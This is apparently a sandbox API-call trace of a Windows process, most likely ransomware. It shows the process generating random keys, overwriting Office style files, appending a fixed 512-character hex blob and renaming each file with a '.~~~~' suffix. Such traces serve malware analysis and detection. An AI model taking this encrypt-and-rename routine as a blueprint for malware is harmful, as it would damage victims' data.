	[0132.489] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.489] GetLastError () returned 0x0
	[0132.489] GetLastError () returned 0x0
	[0132.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff280, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.550] WriteFile (in: hFile=0x130, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd80, lpOverlapped=0x0) returned 1
	[0132.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.551] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.551] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.551] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.552] CloseHandle (hObject=0x130) returned 1
	[0132.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.552] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css.~~~~")) returned 1
	[0132.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.553] GetLastError () returned 0x0
	[0132.745] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.746] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.746] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.746] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25273619763) returned 1
	[0132.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb88ff450, dwHighDateTime=0x1d60e1e)) 
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823e90
	[0132.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823e90 | out: hHeap=0x300000) returned 1
	[0132.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.747] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.747] GetLastError () returned 0x0
	[0132.747] GetLastError () returned 0x0
	[0132.747] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.747] GetLastError () returned 0x0
	[0132.747] GetLastError () returned 0x0
	[0132.749] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff416, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.749] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xbea, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0xbea, lpOverlapped=0x0) returned 1
	[0132.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.752] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.752] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.752] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.752] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.752] CloseHandle (hObject=0x120) returned 1
	[0132.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2800fe8
	[0132.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck.css.~~~~")) returned 1
	[0132.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800fe8 | out: hHeap=0x300000) returned 1
	[0132.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.754] GetLastError () returned 0x0
	[0132.755] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.755] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.755] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.756] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25274575429) returned 1
	[0132.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb89255b0, dwHighDateTime=0x1d60e1e)) 
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823ec8
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823ec8 | out: hHeap=0x300000) returned 1
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.756] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.757] GetLastError () returned 0x0
	[0132.757] GetLastError () returned 0x0
	[0132.757] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.757] GetLastError () returned 0x0
	[0132.757] GetLastError () returned 0x0
	[0132.761] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.761] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x752, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x752, lpOverlapped=0x0) returned 1
	[0132.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.762] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.762] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.763] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.763] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.763] CloseHandle (hObject=0x120) returned 1
	[0132.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2801240
	[0132.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GreenTea.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\greentea.css.~~~~")) returned 1
	[0132.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801240 | out: hHeap=0x300000) returned 1
	[0132.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.764] GetLastError () returned 0x0
	[0132.765] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.766] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.766] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.766] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25275636228) returned 1
	[0132.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb894b710, dwHighDateTime=0x1d60e1e)) 
	[0132.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823f00
	[0132.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823f00 | out: hHeap=0x300000) returned 1
	[0132.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.767] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.767] GetLastError () returned 0x0
	[0132.767] GetLastError () returned 0x0
	[0132.767] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.767] GetLastError () returned 0x0
	[0132.768] GetLastError () returned 0x0
	[0132.772] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff83c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.772] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x7c4, lpOverlapped=0x0) returned 1
	[0132.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0132.775] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.775] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.775] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.775] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.775] CloseHandle (hObject=0x120) returned 1
	[0132.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.776] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\LightSpirit.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lightspirit.css.~~~~")) returned 1
	[0132.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.778] GetLastError () returned 0x0
	[0132.782] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.783] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.783] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.783] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25277339556) returned 1
	[0132.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8971870, dwHighDateTime=0x1d60e1e)) 
	[0132.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28099c8
	[0132.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28099c8 | out: hHeap=0x300000) returned 1
	[0132.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.784] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.784] GetLastError () returned 0x0
	[0132.784] GetLastError () returned 0x0
	[0132.785] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.785] GetLastError () returned 0x0
	[0132.785] GetLastError () returned 0x0
	[0132.786] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.786] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1ce, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x1ce, lpOverlapped=0x0) returned 1
	[0132.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.789] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.789] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.789] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.789] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.789] CloseHandle (hObject=0x120) returned 1
	[0132.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_off.gif.~~~~")) returned 1
	[0132.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.791] GetLastError () returned 0x0
	[0132.791] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.792] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.792] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.793] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25278273454) returned 1
	[0132.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8971870, dwHighDateTime=0x1d60e1e)) 
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823f38
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823f38 | out: hHeap=0x300000) returned 1
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
